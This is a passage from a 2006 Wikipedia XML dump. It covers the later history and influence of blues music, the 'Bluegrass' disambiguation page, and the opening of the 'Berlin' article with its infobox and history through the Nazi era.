By the beginning of the 1960s, [[African American music]] like [[rock and roll]] and [[soul music|soul]] were parts of mainstream popular music. White performers had brought black music to new audiences, both within the United States and abroad. Though many listeners simply enjoyed the catchy pop tunes of the day, others were inspired to learn more about the roots of rock, soul, R&amp;B and gospel. Especially in the United Kingdom, many young men and women formed bands to emulate blues legends. By the end of the decade, white-performed blues in a number of styles, mostly fusions of blues and rock, had come to dominate popular music across much of the world.

[[Image:BBKingClub.jpg|thumb|200px|left|Blues legend [[B.B. King]] with his guitar &quot;Lucille&quot;]]
Blues masters such as John Lee Hooker and Muddy Waters continued to perform to enthusiastic audiences, inspiring new artists steeped in traditional blues, such as New York-born [[Taj Mahal (musician)|Taj Mahal]].  John Lee Hooker was particularly successful in the late sixties in blending his own style with some rock elements, playing together with younger white musicians. The 1971 album ''Endless Boogie'' is a major example of this style. [[B.B. King]] had emerged as a major artist in the fifties and reached his height in the late sixties. His virtuoso guitar technique earned him the eponymous title &quot;king of the blues&quot;. In contrast to the Chicago style, King's band used strong brass support (saxophone, trumpet, trombone) instead of slide guitar or harp.  [[Tennessee]]-born [[Bobby Bland|Bobby &quot;Blue&quot; Bland]] is another artist of the time who, like B.B. King, successfully straddled blues and R&amp;B genres.  

The music of the [[American Civil Rights Movement|Civil Rights]] and [[Free Speech Movement|Free Speech]] movements in the U.S. prompted a resurgence of interest in American roots music in general and in early African American music, specifically. Important music festivals such as the [[Newport Folk Festival]] brought traditional blues to a new audience. Prewar acoustic blues was rediscovered along with many forgotten blues heroes including Son House, [[Mississippi John Hurt]], [[Skip James]], and [[Reverend Gary Davis]]. Many compilations of classic prewar blues were republished, in particular by the [[Yazoo Records]] company. J. B. Lenoir, an important artist of the Chicago blues movement in the fifties, recorded several outstanding LPs using acoustic guitar, sometimes accompanied by Willie Dixon on the acoustic bass or drums. His work at this time had an unusually direct political content relative to [[racism]] or [[Vietnam War]] issues. As an example, this quotation from ''Alabama blues'' record:
&lt;blockquote&gt;
I never will go back to Alabama, that is not the place for me (2x)&lt;/br&gt;
You know they killed my sister and my brother,&lt;/br&gt;
and the whole world let them peoples go down there free
&lt;/blockquote&gt;

In the late sixties, the so-called West Side blues emerged in Chicago with [[Magic Sam]], [[Magic Slim]] and [[Otis Rush]]. In contrast with the early Chicago style, this style is characterized by a strong rhythm support (a rhythm and a bass electric guitar, and drums). Talented, new musicians like [[Albert King]], [[Freddy King]], [[Buddy Guy]], or [[Luther Allison]] appeared. 
[[Image:bluesbreakers.jpg|thumb|right|[[John Mayall &amp; the Bluesbreakers]] with [[Eric Clapton]] album cover]]

However, what made blues really come across to the young white audiences in the early 1960s was the Chicago-based [[Paul Butterfield Blues Band]] and the [[British blues]] movement.  The style of [[British blues]] developed in England, when dozens of bands such as [[Fleetwood Mac]], [[John Mayall &amp; the Bluesbreakers]], [[The Rolling Stones]], [[The Yardbirds]], and [[Cream (band)|Cream]] took to covering the classic blues numbers from either the [[Delta blues|Delta]] or [[Chicago blues]] traditions. The British blues musicians of the early 1960s would ultimately inspire a number of American [[blues-rock]] fusion performers, including [[Canned Heat]], [[Janis Joplin]], [[Johnny Winter]], [[The J. Geils Band]], [[Ry Cooder]],  and others, who at first discovered the form by listening to British performers, but in turn went on to explore the blues tradition on their own. Many of Led Zeppelin's earlier hits were renditions of traditional blues songs. One blues-rock performer, [[Jimi Hendrix]], was a rarity in his field at the time: a black man who played [[psychedelic music|psychedelic]] blues-rock. Hendrix was a virtuoso guitarist, and a pioneer in the innovative use of [[distortion]] and [[feedback]] in his music.{{ref|Hendrix}} Through these artists and others, both earlier and later, blues music has been strongly influential in the development of [[rock (music)|rock music]].

===Blues from the 1980s to the present===
[[Image:StevieRayVaughan.jpg|thumb|left|175px|[[Stevie Ray Vaughan]].]]
Since 1980, blues has continued to thrive in both traditional and new forms through the continuing work of [[Taj Mahal (musician)|Taj Mahal]], [[Ry Cooder]] and the music of [[Robert Cray]], [[Albert Collins]], [[Keb' Mo']] and others such as [[Jessie Mae Hemphill]] or [[Kim Wilson]]. The [[Texas blues |Texas rock-blues style]] emerged based on an original use of guitars for both solo and rhythms. In contrast with the West Side blues, the Texas style is strongly influenced by the British rock-blues movement. Major artists of this style are [[Stevie Ray Vaughan]], [[The Fabulous Thunderbirds]] and [[ZZ Top]].  The '80s also saw a revival of John Lee Hooker's popularity. He collaborated with a diverse array of musicians such as [[Carlos Santana]], [[Miles Davis]], Robert Cray and [[Bonnie Raitt]]. [[Eric Clapton]], who was known for his virtuoso electric guitar within the Blues Breakers and Cream, made a notable  comeback in the '90s with his ''[[MTV Unplugged]]'' album, in which he played some standard blues numbers on acoustic guitar. 

Around this time blues publications such as ''Living Blues'' and ''Blues Revue'' began appearing at newsstands, major cities began forming blues societies and outdoor blues festivals became more common.{{ref|festivals}} More [[nightclub]]s and venues emerged.{{ref|venues}}  In the 1990s and today blues performers are found touching elements from almost every musical genre, as can be seen, for example, from the broad array of nominees of the yearly Blues Music Awards, previously named [[W. C. Handy Awards]]{{ref|awards}}  Contemporary blues music is nurtured by several well-known blues labels such as [[Alligator Records]], [[Blind Pig Records]], [[Chess Records]] ([[MCA]]), [[Delmark Records]], and [[Vanguard Records]] ([[Artemis Records]]).  Some labels are famous for their rediscovering and remastering of blues rarities such as [[Arhoolie Records]], [[Smithsonian Folkways Recordings]] (heir of [[Folkways Records]]), and [[Yazoo Records]] ([[Shanachie Records]]).{{ref|label}}

==Musical impact==
As the origin of the blues scale, the blues has exerted a profound influence on many styles of music.  Many jazz, folk or rock performers, such as [[Louis Armstrong]], [[Duke Ellington]], [[Miles Davis]], [[Bob Dylan]] and [[The Red Hot Chili Peppers]], have performed significant blues recordings.  The blues scale frequently is found in non-blues musical forms, such as [[popular song]]s like [[Harold Arlen]]'s &quot;Blues in the Night&quot;, [[blues ballad]]s like &quot;Since I Fell for You&quot; and &quot;Please Send Me Someone to Love&quot;, and even orchestral works like [[George Gershwin]]'s &quot;[[Rhapsody in Blue]]&quot; and &quot;Concerto in F&quot;.  Indeed, the blues scale is ubiquitous in modern popular music and informs many [[modal frame (music)|modal frames]], especially the [[ladder of thirds]] as in &quot;[[A Hard Day's Night (song)|A Hard Day's Night]]&quot;.  Blues forms turn up in some surprising places. The theme to the televised ''[[Batman (TV series)|Batman]]'' had a blues structure, as did [[teen idol]] [[Fabian (entertainer)|Fabian]]'s first hit, &quot;Turn Me Loose&quot;. The first great [[country music]] star [[Jimmie Rodgers (country singer)|Jimmie Rodgers]] was a blues performer.  Guitarist/vocalist [[Tracy Chapman]]'s hit &quot;Give Me One Reason&quot; was a 12-bar blues and has, as a result, become a contemporary blues club standard in Chicago.  Blues is sometimes danced as an informal type of [[swing dancing|swing dance]], with no fixed patterns and a heavy focus on [[connection (dance)|connection]], sensuality and [[improvisation]], often with [[body contact (dance)|body contact]]. However, most [[blues (dance move)|blues dance]] moves are inspired by traditional blues dancing. Although usually done to blues music, it can be done to any slow tempo 4/4 music, including &quot;club&quot; music.

[[R&amp;B]] music can be traced back to [[Spiritual (music) |spiritual]]s and blues.  Spirituals are often cited as the origin of the blues.  Musically, spirituals were a descendent of [[New England]] choral traditions, and in particular of [[Isaac Watts]]'s [[hymn]]s, mixed with African rhythms and call-and-response forms. Spirituals or religious chants in the Afro-American community are much better documented than the &quot;low-down&quot; blues.  They developed mostly because the communities could gather more easily during mass or worship gatherings, the so-called [[camp meeting]]s.  Their popularity was also due to their—at first glance—politically correct contents.  Most early country bluesmen such as [[Skip James]] or [[Charley Patton]] were able to play as well both genres, which usually basically only differ in the lyrics.  [[Georgia Tom Dorsey]] is the perfect example of blues musician and composer straddling the border between country and urban blues, and spirituals.  He is often cited as the father of [[Gospel music]].  However, the beginning of Gospel music can be better dated to 1930 and the first successes of the [[Golden Gate Quartet]].  In the fifties, [[soul music]], best represented by [[Sam Cooke]], [[Ray Charles]] and [[James Brown]], overtook many elements of both Gospel and blues music.  In the sixties and seventies these genres merged in what is called [[soul blues]] music.  Direct heir of soul, [[funk]] music of the seventies can be seen as an antecedent of hip-hop and contemporary R&amp;B and shows the filiation of the blues with most modern R&amp;B music.

[[Image:Duke_Ellington_at_the_Hurricane_Club_1943.jpg|thumb|[[Duke Ellington]] straddled the [[big band]] and [[bebop]] genres.  Though clearly a jazz artist, he used the blues form extensively.]]
Before [[World War II]], the difference between blues and [[jazz]] was sometimes vague. Usually jazz was more impregnated by harmonic structures stemming from [[brass band]]s.  However, the jump blues is a clear example of mix between both styles.  After the war, the influence of blues on jazz was tremendous, and most of the [[bebop]] classics, such as [[Charlie Parker]]'s &quot;Now's the Time&quot;, are based on the extensive use of the pentatonic scale and blue notes.  However, this influence was purely formal.  Bebop marked a major shift of jazz from pop music for dancing to a high-art, less-accessible, cerebral &quot;musician's music&quot;.  The audience for both blues and jazz definitively split, and it was at this time that the border between blues and jazz became the most defined.  Artists straddling the border between jazz and blues are categorized into the [[jazz blues|jazz-blues]] sub-genre.

The influence of both the twelve-bar structure and the blues scale on [[rock-and-roll]] music was so profound that rock and roll can properly be classified as an outgrowth of blues, or even &quot;blues with a [[back beat]]&quot;. Elvis Presley's &quot;Hound Dog&quot;, with its unmodified twelve-bar structure (in both harmony and lyrics) and a melody centered on flatted third of the tonic (and flatted seventh of the subdominant), is a blues song transformed to a new genre by rhythm and sheer energy. One can hardly find a major song from rock-and-roll's revolutionary period that is not, at its roots, a blues composition transformed by rhythm:  &quot;Johnny B. Goode&quot;, &quot;Blue Suede Shoes&quot;, &quot;Whole Lotta' Shakin' Going On&quot;, &quot;Tutti-Frutti&quot;, &quot;Shake, Rattle, and Roll&quot;, &quot;What'd I Say&quot;, and &quot;Long Tall Sally&quot;.  The early African American rock musicians retained the frank sexual themes of blues. &quot;Got a gal named Sue, knows just what to do&quot; or &quot;See the girl with the red dress on, she knows how to do it all night long&quot;  are hard to mistake. Even the subject matter of &quot;Hound Dog&quot; contains well-hidden sexual double entendre. More sanitized early &quot;white&quot; rock borrowed both the structure and harmonics of blues, although minimizing harmonic creativity and sexual nuance, such as Bill Haley's &quot;Rock Around the Clock&quot;.  Many white musicians who covered black rock songs would go so far as to change the words; possibly the most famous example was [[Pat Boone]]'s cover of &quot;Tutti Frutti&quot;, which originally started &quot;Tutti frutti, loose booty . . . a wop bop a lu bop, a good Goddamn.&quot;

==Social impact==
[[Image:BluesBrothers.jpg|thumb|right|[[The Blues Brothers]]: [[Dan Aykroyd]] (left) and [[John Belushi]].]]
Like [[jazz]], [[rock and roll]] and [[hip hop music]], blues has been accused of being the &quot;devil's music&quot; and of inciting violence and other poor behavior.{{ref|criticism}} In the early 20th century, the blues was considered disreputable, especially as white audiences began listening to the blues during the 1920s.{{ref|1920spop}} In the early twentieth century, [[W. C. Handy|W.C. Handy]] was the first to make the blues more respectable to non-black Americans.   

Now blues is a major component of the [[African American culture |African American]] and [[American culture |American cultural heritage]] in general.  This status is not only mirrored in
scholar studies in the field{{ref|research}} but also in main stream movies such as ''[[Sounder]]'' (1972), ''the [[Blues Brothers]]'' (1980 and 1998), and ''[[Crossroads (1986 film)|Crossroads]]'' (1986). The ''Blues Brothers'' movies, which mix up almost all kinds of music related to blues such as R&amp;B or [[Zydeco]], have had a major impact on the image of blues music. They promoted the standard traditional blues &quot;Sweet Home Chicago&quot;, whose version by Robert Johnson is probably the best known, to the unofficial status of Chicago's city anthem. More recently, in 2003, [[Martin Scorsese]] made significant efforts to promote the blues to a larger audience. He asked several famous directors such as [[Clint Eastwood]] and [[Wim Wenders]] to participate in a series of films called ''The Blues''.{{ref|www.imdb.com.1000}} He also participated in the reedition of compilations of major blues artists in a series of high quality CDs.

==American Blues Clubs==
The local nightclub scene in America has carried the torch for blues music and likely accounts for as much of the resilience of the blues as recorded music. These local joints thrive despite the increase in ultra lounges and dance clubs, cranking out live music every night of the week across the country.

==References==
* {{cite journal | author = William Barlow | title = Cashing In | journal = Split Image: African Americans in the Mass Media | year = 1993 | pages = 31}}
* {{cite book | author = Clarke, Donald | title = The Rise and Fall of Popular Music | publisher = St. Martin's Press | year = 1995 | id = ISBN 0312115733}}
* {{cite book | author = Ewen, David | title = Panorama of American Popular Music | publisher = Prentice Hall | year = 1957 | id = ISBN 0136483607 }}
* {{cite book | author = Ferris, Jean | title = America's Musical Landscape | publisher = Brown &amp; Benchmark | year = 1993 | id = ISBN 0697125165}}
* {{cite book | author = Garofalo, Reebee | title = Rockin' Out: Popular Music in the USA | publisher = Allyn &amp; Bacon | year = 1997 | id = ISBN 0205137032}}
* {{cite book | author = Morales, Ed | title = The Latin Beat | publisher = Da Capo Press | year = 2003 | id = ISBN 0306810182}}
* {{cite book | author = Schuller, Gunther | title = Early Jazz: Its Roots and Musical Development | publisher = Oxford University Press | year = 1968 | id = ISBN 0195040430}}
* {{cite book | author = Southern, Eileen | title = The Music of Black Americans | publisher = W. W. Norton &amp; Company, Inc | year = 1997 | id = ISBN 0393038432}}
* {{cite web | url = http://sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2004/08/15/INGMC85SSK1.DTL | title = Muslim Roots of the Blues | work = SFGate | accessdate = August 24 | accessyear = 2005}}

==Further reading==
* {{cite book
 | first = Paul | last = Oliver
 | title = The Story Of The Blues
 | publisher = Northeastern University Press
 | year = 1998
 | edition = new edition
 | pages = 212 pages
 | id = ISBN 1555533558
 }}
* {{cite book
 | first = Robert | last = Palmer
 | authorlink = Robert Palmer (author/producer)
 | title = Deep Blues
 | publisher = Viking
 | year = 1981
 | pages = 310 pages
 | id = ISBN 0670495115
 }}
* {{cite book
 | first = Mike | last = Rowe
 | title = Chicago Breakdown
 | publisher = Eddison Press
 | year = 1973
 | pages = 226 pages
 | id = ISBN 0856490156
 }}

==Notes==
&lt;div style=&quot;font-size: 75%&quot;&gt;
# {{note|oed}} The Oxford English Dictionary (Second Edition, 1989) gives Handy as the earliest attestation of &quot;Blues.&quot;
# {{note|slang}} Eric Partridge, ''A Dictionary of Slang and Unconventional English'', 2002, Routledge (UK), ISBN 0415291895
# {{note|bolden}} Tony Bolden, ''Afro-Blue: Improvisations in African American Poetry and Culture'', 2004, [[University of Illinois Press]], ISBN 0252028740
# {{note|noabsolute}} Southern, pg. 333
# {{note|pre-blues}} Garofalo, pg. 44
# {{note|origins}} Ferris, pg. 229
# {{note|interplay}} Morales, pg 276 Morales attributes this claim to John Storm Roberts in ''Black Music of Two Worlds'', beginning his discussion with a quote from Roberts ''There does not seem to be the same African quality in blues forms as there clearly is in much Caribbean music''.
# {{note|Muslimmusic}} SFGate
# {{note|bluesevolution}} Garofalo, pg. 44 ''Gradually, instrumental and harmonic accompaniment were added, reflecting increasing cross-cultural contact.''  Garofalo goes on to cite others mentioning the &quot;Ethiopian airs&quot; and &quot;Negro spirituals&quot;.
# {{note|ragtimeblues}} Schuller, cited in Garofalo, pg. 27
# {{note|barschords}} Garofalo, pgs. 46-47
# {{note|bluenotes}} Ewen, pg. 143
# {{note|lyrics}} Ewen, pgs. 142-143
# {{note|orisha}} Morales, pg. 277
# {{note|lyricalform}} Ferris, pg. 230
# {{note|Mozart}} Grace notes were common in the [[Baroque music|Baroque]] and [[Classical music era|Classical]] periods, but they acted as ornamentation rather than as part of the harmonic structure.  [[Wolfgang Amadeus Mozart|Mozart]] comes very close in the slow movement of his ''[[Piano Concerto No. 21 (Mozart)|Piano Concerto No. 21]]'', holding a flatted fifth in the dominant for a full quarter-note.  But this was a technique for building unbearable tension for resolution into the major fifth, while a blues melody could sustain the flatted fifth indefinitely as part of the scale.  In other words both a blues musician and Mozart could slide from a flatted ''mi'' to a major ''mi'' over a dominant chord, but the blues musician could also use the flatted ''mi'' as a harmonic resolution in a major key.
# {{note|hamburger}} David Hamburger, ''Acoustic Guitar Slide Basics'', 2001, ISBN 1890490385.
# {{note|shuffle}} {{cite web | title=Lesson 72: Basic Blues Shuffle by Jim Burger | url=http://www.wholenote.com/default.asp?src=l&amp;l=72&amp;p=1 | accessdate=November 25 | accessyear=2005 }} 
# {{note|savidge}} Wilbur M. Savidge, Randy L. Vradenburg, ''Everything About Playing the Blues'', 2002, Music Sales Distributed, ISBN 1884848095, pg. 35
# {{note|bluescountry}} Garofalo, pgs. 44-47 ''As marketing categories, designations like race and hillbilly intentionally separated artists along racial lines and conveyed the impression that their music came from mutually exclusive sources.  Nothing could have been further from the truth... In cultural terms, blues and country were more equal than they were separate.''  Garofalo goes on to later claim that ''artists were sometimes listed in the wrong racial category in record company catalogues.''
# {{note|nicholls}} Philip V. Bohlman, &quot;Immigrant, folk, and regional music in the twentieth century&quot;, in ''The Cambridge History of American Music'', ed. David Nicholls, 1999, [[Cambridge University Press]], ISBN 0521454298, pg. 285
# {{note|levine}} Lawrence W. Levine, ''Black Culture and Black Consciousness: Afro-American Folk Thought from Slavery to Freedom'', [[Oxford University Press]], 1977, ISBN 0195023749, pg. 223 
# {{note|1912}} Garofalo, pg. 27; Garofalo cites Barlow in ''Handy's sudden success demonstrated [the] commercial potential of [the blues], which in turn made the genre attractive to the Tin Pan Alley acks, who wasted little time in turning out a deluge of imitations''. {parentheticals in Garofalo)
# {{note|Handypseudoblues}} Garofalo, pg. 27
# {{note|habanera}} Morales, pg. 277
# {{note|LemonJefferson}} Clarke, pg. 138
# {{note|RJohnson}} Clarke, pg. 141
# {{note|Piedmontblues}} Clarke, pg. 139
# {{note|countrycity}} Garofalo, pg. 47
# {{note|BessieSmith}} Ewen, pg. 146
# {{note|tracy}} Introduction of ''Write Me a Few of Your Lines'', ed. Steven Tracy, 1999, [[University of Massachusetts]] Press, pg. 3
# {{note|SmithRainey}} Clarke, pg. 137
# {{note|Carr}} Clarke, pg. 138
# {{note|YanceyHines}} Garofalo, pg. 47
# {{note|jumpblues}} Garofalo, pg. 76
# {{note|bjorn}} Lars Bjorn, ''Before Motown'', 2001, [[University of Michigan]] Press, ISBN 0472067656, pg. 175
# {{note|Hendrix}} Garofalo, pgs. 224-225
# {{note|festivals}} A directory of the most significant blues festivals can be found at http://blues.about.com/od/bluesfestivals/
# {{note|venues}} A list of important blues venues in the U.S. can be found at http://blues.about.com/cs/venues/
# {{note|awards}} {{cite web | title=Blues Music Awards informations | url=http://www.blues.org/bluesmusicawards/ | accessdate=November 25 | accessyear=2005 }}
# {{note|label}} A complete directory of contemporary blues labels can be found at http://blues.about.com/cs/recordlabels/
# {{note|criticism}} SFGate
# {{note|1920spop}} Garofalo, pg. 27
# {{note|research}} {{cite web
 | title=Research centers for American music
 | url=http://www.american-music.org/resources/ResearchCenters.htm
 | accessdate=December 6 | accessyear=2005
 }}
# {{note|www.imdb.com.1000}} {{imdb title | title=&quot;The Blues&quot; (2003) (mini) | id = 0287198 }}
&lt;/div&gt;

==See also==
*[[List of blues musicians]]
*[[List of British blues musicians]]

==External links==
{{sisterlinks|Blues music}}
* The [http://www.blueslinks.nl mother of all blueslinks] collection
*[http://www.radioblack.com/jazz_webcast.html Blues radio stations]
*[http://www.blues.org/ Blues Foundation]
*[http://www.bottomsupblues.com/ Bottoms up Blues Gang]
*[http://www.floridamemory.com/Collections/folklife/audio.cfm Music from Florida Folklife Collection], available free for public use from the State Archives of [[Florida]]

&lt;!-- Categorization --&gt;

&lt;!-- blues is a sub-category of radio formats--&gt;

&lt;!-- Localization --&gt;

{{featured article}}

[[Category:African American art]]
[[Category:American styles of music]]
[[Category:Blues| ]]
[[Category:Radio formats]]

[[bg:Блус]]
[[ca:Blues]]
[[da:Blues]]
[[de:Blues]]
[[eo:Bluso]]
[[es:Blues]]
[[fa:بلوز]]
[[fi:Blues]]
[[fr:Blues]]
[[fy:Blues]]
[[gl:Blues]]
[[he:בלוז]]
[[hu:Blues]]
[[id:Blues]]
[[it:Blues]]
[[ja:ブルース]]
[[nds:Blues]]
[[nl:Blues]]
[[no:Blues]]
[[pl:Blues]]
[[pt:Blues]]
[[ru:Блюз]]
[[scn:Blues]]
[[sv:Blues]]
[[vi:Nhạc Blues]]
[[wa:Blouze]]
[[zh:布鲁斯]]</text>
    </revision>
  </page>
  <page>
    <title>Bluegrass</title>
    <id>3353</id>
    <revision>
      <id>41525924</id>
      <timestamp>2006-02-27T23:14:04Z</timestamp>
      <contributor>
        <username>Elf</username>
        <id>40082</id>
      </contributor>
      <comment>fmt more like [[MoS:DP]]</comment>
      <text xml:space="preserve">'''Bluegrass''' refers to several species of grasses of the genus ''[[Poa]]'', native to the American midwest. The term has also been applied to various things that relate to the region in which the grass grows:
*[[Bluegrass region]]
*[[Bluegrass music]]
*[[Bluegrass (Monon)]], a passenger train that operated  between Chicago, Illinois and Louisville, Kentucky.

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Berlin</title>
    <id>3354</id>
    <revision>
      <id>41832669</id>
      <timestamp>2006-03-02T01:05:22Z</timestamp>
      <contributor>
        <username>Ksenon</username>
        <id>541820</id>
      </contributor>
      <minor />
      <comment>/* History */  1920s Berlin link</comment>
      <text xml:space="preserve">:''This article is about the city in [[Germany]]. For other uses, see [[Berlin (disambiguation)]].''

{| align=right border=0 style=&quot;float:right;&quot;
| 
[[Image:Brandenburger_Tor1.JPG|thumb|400px|right|The Brandenburg Gate, one of Berlin's best-known landmarks]]
|- 
| 
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;1&quot; style=&quot;float:right; empty-cells:show; margin-right:0em; margin-left:1em; margin-bottom:0.5em; background:#FFDEAD;&quot;
|+&lt;font size=&quot;+1&quot;&gt;'''State of Berlin'''&lt;/font&gt;&lt;br /&gt;
! colspan=&quot;2&quot; bgcolor=&quot;#FFDEAD&quot; | State and Service Flag
|-bgcolor=&quot;#FFFFFF&quot;
| colspan=&quot;2&quot; align=&quot;center&quot; bgcolor=&quot;#EFEFEF&quot; |[[Image:Flag of Berlin.svg|150px|State flag of Berlin]]&lt;br /&gt;
|- bgcolor=&quot;#FFDEAD&quot;
! Coat of arms !! Map of Berlin in Germany 
|-bgcolor=&quot;#FFFFFF&quot;
! align=&quot;center&quot; | [[Image:Coat of arms Germany Berlin.png|center|80px|Coat of Arms of Berlin]] || [[Image:Germany Laender Berlin.png|center|140px|Map of Berlin in Germany]]
|-
!colspan=&quot;2&quot; bgcolor=&quot;#ffdead&quot; | Basic Information
|-bgcolor=&quot;#FFFFFF&quot;
|[[Area]]: || 891.75&amp;nbsp;[[kilometer|km]]² (344.31&amp;nbsp;[[square mile|mi²]])
|-bgcolor=&quot;#FFFFFF&quot;
|[[Population]]: || 3,393,933  &lt;small&gt;(estimate, [[30 September]] [[2005]])&lt;/small&gt;
|-bgcolor=&quot;#FFFFFF&quot;
|[[Population density]]: || 3,806 residents/km²  (9,857/mi²)
|-bgcolor=&quot;#FFFFFF&quot;
|[[Elevation]]: || 34 m (112 ft) above [[sea level]]
|-bgcolor=&quot;#FFFFFF&quot;
|[[Postal code]]s: || 10001-14199
|-bgcolor=&quot;#FFFFFF&quot;
|[[Area code]]: || 030
|-bgcolor=&quot;#FFFFFF&quot;
|td valign=&quot;top&quot; | [[Latitude]] and [[Longitude]]: || {{coor dm|52|31|N|13|24|E|type:city(3,390,444)}}
|-bgcolor=&quot;#FFFFFF&quot;
|[[License plate]] prefix: || B
|-bgcolor=&quot;#FFFFFF&quot;
|Organisation: || [[Boroughs of Berlin|12 Bezirke (boroughs),&lt;br&gt; 96 Stadtteile (localities)]]
|-bgcolor=&quot;#FFFFFF&quot;
|[[ISO 3166-2:DE|ISO 3166-2]]: || DE-BE
|-bgcolor=&quot;#FFFFFF&quot;
|Website: || [http://www.berlin.de/english/index.html www.berlin.de]
|-
!colspan=&quot;2&quot; bgcolor=&quot;#ffdead&quot; | Politics
|-bgcolor=&quot;#FFFFFF&quot;
|[[Mayor]]: || [[Klaus Wowereit]] ([[Sozialdemokratische Partei Deutschlands|SPD]])
|-bgcolor=&quot;#FFFFFF&quot;
|Governing [[political party|political parties]]: || [[Sozialdemokratische Partei Deutschlands|SPD]] and [[Left Party (Germany)|Left Party]]
|-bgcolor=&quot;#FFFFFF&quot;
|td valign=&quot;top&quot; | Seat distribution in&lt;br&gt; the State Parliament&lt;br /&gt;(141 seats total): || td valign=&quot;top&quot; | [[Sozialdemokratische Partei Deutschlands|SPD]] 45&lt;br /&gt;[[CDU]] 35&lt;br /&gt;[[Left Party (Germany)|Left Party]] 33&lt;br /&gt;[[Free Democratic Party (Germany)|FDP]] 12&lt;br /&gt;[[Bündnis 90/Die Grünen|B90/Grüne]] 14
|-bgcolor=&quot;#FFFFFF&quot;
|last election: || [[21 October]] [[2001]]
|-bgcolor=&quot;#FFFFFF&quot;
|next election: || 2006
|-
! colspan=&quot;2&quot; bgcolor=&quot;#ffdead&quot; | Parliamentary representation
|-bgcolor=&quot;#FFFFFF&quot;
| Votes in the [[Bundesrat (Germany)|Bundesrat]]: || 4
|} 
|}
{{Audio|DE Berlin2.ogg|'''Berlin'''}}, [[International Phonetic Alphabet|IPA]]: {{IPA|[bɛɐˈliːn]]}}, is the [[capital city]] as well as a [[states of Germany|state]] of [[Germany]], and also the country's largest city. 

Berlin is the political and cultural centre of Germany and, due to its division into [[West Berlin]] and [[East Berlin]] from [[1949]] - [[1989]], one of the most diverse cities in the [[European Union]]. Berlin is an important crossroads for the states of the expanding European Union, as well as the home of many of the national economic, cultural, and educational institutions of Germany. Berlin hosts some of the most prominent universities, research faculties, theatres, and museums in Europe. Berlin has also gained an international reputation for its festivals, nightlife and contemporary architecture.

Berlin is located in northeastern Germany, on the [[River]]s [[Spree]] and [[Havel]], completely surrounded by the German federal state of [[Brandenburg]]. Founded in the early [[13th century]], Berlin was the capital of the March of [[Brandenburg]] and, after [[1701]], capital of the Kingdom of [[Prussia]]. In [[1871]], Berlin became capital of the [[German Empire]] and a focal point for the nation's [[History of Germany|history]].

Since the reunification of Germany on [[3 October]] [[1990]], Berlin has again been the capital of Germany. Berlin is also the seat of most of the executive and legislative branches of the German government.

==History==
{{main|History of Berlin}}

Early in the 13th century, the twin cities of Berlin and [[Cölln]] were founded as part of the German expansion into the formerly Slavic lands east of the River Elbe. Each of the twin cities was built on an island in the River Spree. Cölln lay on what is now known as the Spree Island (Spreeinsel), while the original Berlin lay across an arm of the Spree on an island to the northeast, where the medieval churches of St. Mary (Marienkirche) and St. Nicholas (Nikolaikirche) now stand. Another arm of the Spree, since filled in, separated the original Berlin from the mainland to the northeast.

The first written mention of the city of Cölln dates to [[1237]], and that of Berlin dates to [[1244]]. From the beginning, the two cities formed an economic and social unit. In [[1307]], the two cities were united politically. Over time, the twin cities came to be known simply as Berlin, the larger of the pair. The name Berlin probably stems from the Slavic root &lt;i&gt;berl&lt;/i&gt; (swamp, marshy ground).

In [[1415]] [[Frederick I, Margrave of Brandenburg|Frederick I]] became the [[prince-elector|elector]] of the Margravate of [[Brandenburg]], which he ruled until [[1440]]. Subsequent members of the [[Hohenzollern]] family ruled until [[1918]] in Berlin, first as electors of Brandenburg, then as kings of [[Prussia]], and finally as German emperors. The inhabitants of Berlin did not always welcome these changes.

In [[1448]] they rebelled in the “Berlin Indignation” against the construction of a new royal palace by Elector [[Frederick II, Margrave of Brandenburg|Frederick II Irontooth]]. This protest was not successful, however, and the citizenry lost many of its political and economic privileges. In [[1451]] Berlin became the royal residence of the Brandenburg electors, and Berlin had to give up its status as a free [[Hanseatic League|Hanseatic]] city. In [[1539]] the electors and the city officially became [[Protestant]].

The [[Thirty Years War]] between [[1618]] and [[1648]] had devastating consequences for Berlin. A third of the houses were damaged, and the city lost half of its population. [[Frederick William]], known as the “Great Elector”, succeeded his father as ruler in 1640. He initiated a policy of promoting [[immigration]] and religious tolerance. Over the following decades, Berlin expanded greatly in area and population with the founding of the new suburbs of Friedrichswerder, Dorotheenstadt, and Friedrichstadt, today the site of many government offices.

[[Image:Map de berlin 1789.jpg|thumb|400px|Berlin in 1789]]In 1671, fifty Jewish families from Austria were given a home in Berlin. With the Edict of Potsdam in [[1685]], Frederick William invited the French [[Huguenots]] to Brandenburg. More than 15,000 Huguenots came, of whom 6,000 settled in Berlin. Around [[1700]], approximately twenty percent of Berlin's residents were French, and their cultural influence was great. Many other immigrants came from [[Bohemia]], [[Poland]], and [[Salzburg]].

With coronation of Frederick I in [[1701]] as king of [[Prussia]], Berlin became the capital of Prussia. On [[1 January]] [[1710]], the cities of Berlin, Cölln, Friedrichswerder, Dorotheenstadt, and Friedrichstadt were united as the “Royal Capital and Residence of Berlin.” The [[Industrial Revolution]] transformed Berlin during the 19th century; the city's economy and population expanded dramatically, and it became the main rail hub and economic centre of Germany. Additional suburbs soon developed and increased the area and population of Berlin. In [[1861]], outlying suburbs including [[Wedding, Berlin|Wedding]], [[Moabit]], and several others were incorporated into Berlin. In [[1871]], Berlin became capital of the newly founded German Empire.

At the end of [[World War I]] in [[1918]], the [[Weimar Republic]] was proclaimed in Berlin. In [[1920]], the Greater Berlin Act united dozens of suburban cities, villages, and estates around Berlin into a greatly expanded city. After this expansion, Berlin had a population of around 4 million. [[1920s Berlin]] was a very exciting and interesting city.

After the seizure of power by the [[National Socialist German Workers Party|National Socialists]] (Nazis) in [[1933]], Berlin became the capital of the [[Nazi Germany|Third Reich]]. The Nazis used the [[1936]] [[Summer Olympic Games]] in Berlin for propaganda purposes. There were also plans to rebuild Berlin as “''[[Welthauptstadt Germania|Germania, Capital of the World]]''.” However, these plans were put aside because of [[World War II]]. 

Nazi rule destroyed Berlin's Jewish community, which numbered 160,000 before the Nazi seizure of power. After the brutal pogrom of [[Kristallnacht]] in 1938, thousands of the city's Jews were imprisoned in the concentration camp at nearby [[Sachsenhausen]].  The last Jews in Berlin (except for a few married to non-Jews) were marched to the Grunewald railway station over several weeks in early 1943 and shipped in cattle cars to death camps such as [[Auschwitz]].

